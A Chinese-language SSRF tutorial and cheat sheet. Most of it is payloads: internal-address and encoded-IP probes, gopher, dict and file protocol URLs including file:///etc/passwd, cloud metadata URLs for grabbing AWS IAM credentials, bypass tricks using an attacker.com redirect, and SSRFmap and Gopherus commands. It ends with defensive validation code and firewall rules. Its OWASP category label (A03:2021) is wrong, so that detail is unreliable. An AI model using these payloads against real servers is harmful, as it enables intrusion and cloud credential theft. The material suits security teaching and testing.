SSRF 漏洞详解

漏洞概述

SSRF(Server-Side Request Forgery)服务端请求伪造,攻击者诱导服务器发起恶意请求,访问内网资源。

OWASP Top 10: A03:2021
危害等级: ⭐⭐⭐⭐⭐


漏洞原理

服务器未验证用户输入的 URL,导致攻击者可:

  • 访问内网资源
  • 读取云环境元数据
  • 扫描内网端口
  • 利用其他协议攻击

漏洞检测

基础测试

# 访问公网
http://target.com/url?url=http://attacker.com

# 访问内网
http://target.com/url?url=http://127.0.0.1
http://target.com/url?url=http://192.168.1.1
http://target.com/url?url=http://10.0.0.1

DNS 重绑定

# 使用 dnslog 检测
http://target.com/url?url=http://xxx.burpcollaborator.net

# 如果收到 DNS 请求,说明存在 SSRF

Payload 大全

内网探测

# 本地回环
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]

# 内网地址
http://192.168.0.1
http://10.0.0.1
http://172.16.0.1

# 十进制 IP
http://2130706433 (127.0.0.1)

# 八进制 IP
http://0177.0.0.1 (127.0.0.1)

# 十六进制 IP
http://0x7f.0x00.0x00.0x01 (127.0.0.1)

端口扫描

# 常见端口
http://127.0.0.1:22
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:27017

协议利用

# Gopher 协议
gopher://127.0.0.1:6379/_INFO

# Dict 协议
dict://127.0.0.1:11211/

# File 协议
file:///etc/passwd

# Socks 协议
socks4://127.0.0.1:1080/

云环境利用

AWS

# 实例元数据
http://169.254.169.254/latest/meta-data/

# IAM 角色
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 用户数据
http://169.254.169.254/latest/user-data/

# 令牌获取
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

GCP

# 元数据
http://metadata.google.internal/computeMetadata/v1/

# 项目信息
http://metadata.google.internal/computeMetadata/v1/project/

# 实例信息
http://metadata.google.internal/computeMetadata/v1/instance/

# 需要 Header
Metadata-Flavor: Google

Azure

# 实例元数据
http://169.254.169.254/metadata/instance?api-version=2020-09-01

# 需要 Header
Metadata: true

绕过技巧

URL 编码

http://127.0.0.1 → http://%31%32%37%2E%30%2E%30%2E%31

重定向

# 先访问公网,302 重定向到内网
http://attacker.com/redirect → http://127.0.0.1

DNS 重绑定

# 第一次解析为公网 IP,第二次解析为内网 IP
# 使用工具:https://github.com/nccgroup/singularity

IPv6 绕过

http://[::1]:80/
http://[0:0:0:0:0:ffff:7f00:1]

混合协议

http://127.1.1.1:80@192.168.1.1:8080/

工具检测

SSRFmap

# 自动检测 SSRF
python3 ssrfmap.py -r request.txt -m portscan

# 云环境探测
python3 ssrfmap.py -r request.txt -m aws

Gopherus

# 生成 Gopher Payload
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit mysql

防御建议

输入验证

# 白名单验证
from urllib.parse import urlparse
from ipaddress import ip_address

def is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ['http', 'https']:
        return False
    
    host = parsed.hostname
    try:
        ip = ip_address(host)
        return not ip.is_private
    except:
        return False

禁用危险协议

// Java
URL url = new URL(input);
if (!url.getProtocol().equals("http") && !url.getProtocol().equals("https")) {
    throw new SecurityException("Invalid protocol");
}

网络隔离

# 防火墙规则
iptables -A OUTPUT -d 169.254.169.254 -j DROP
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP

参考链接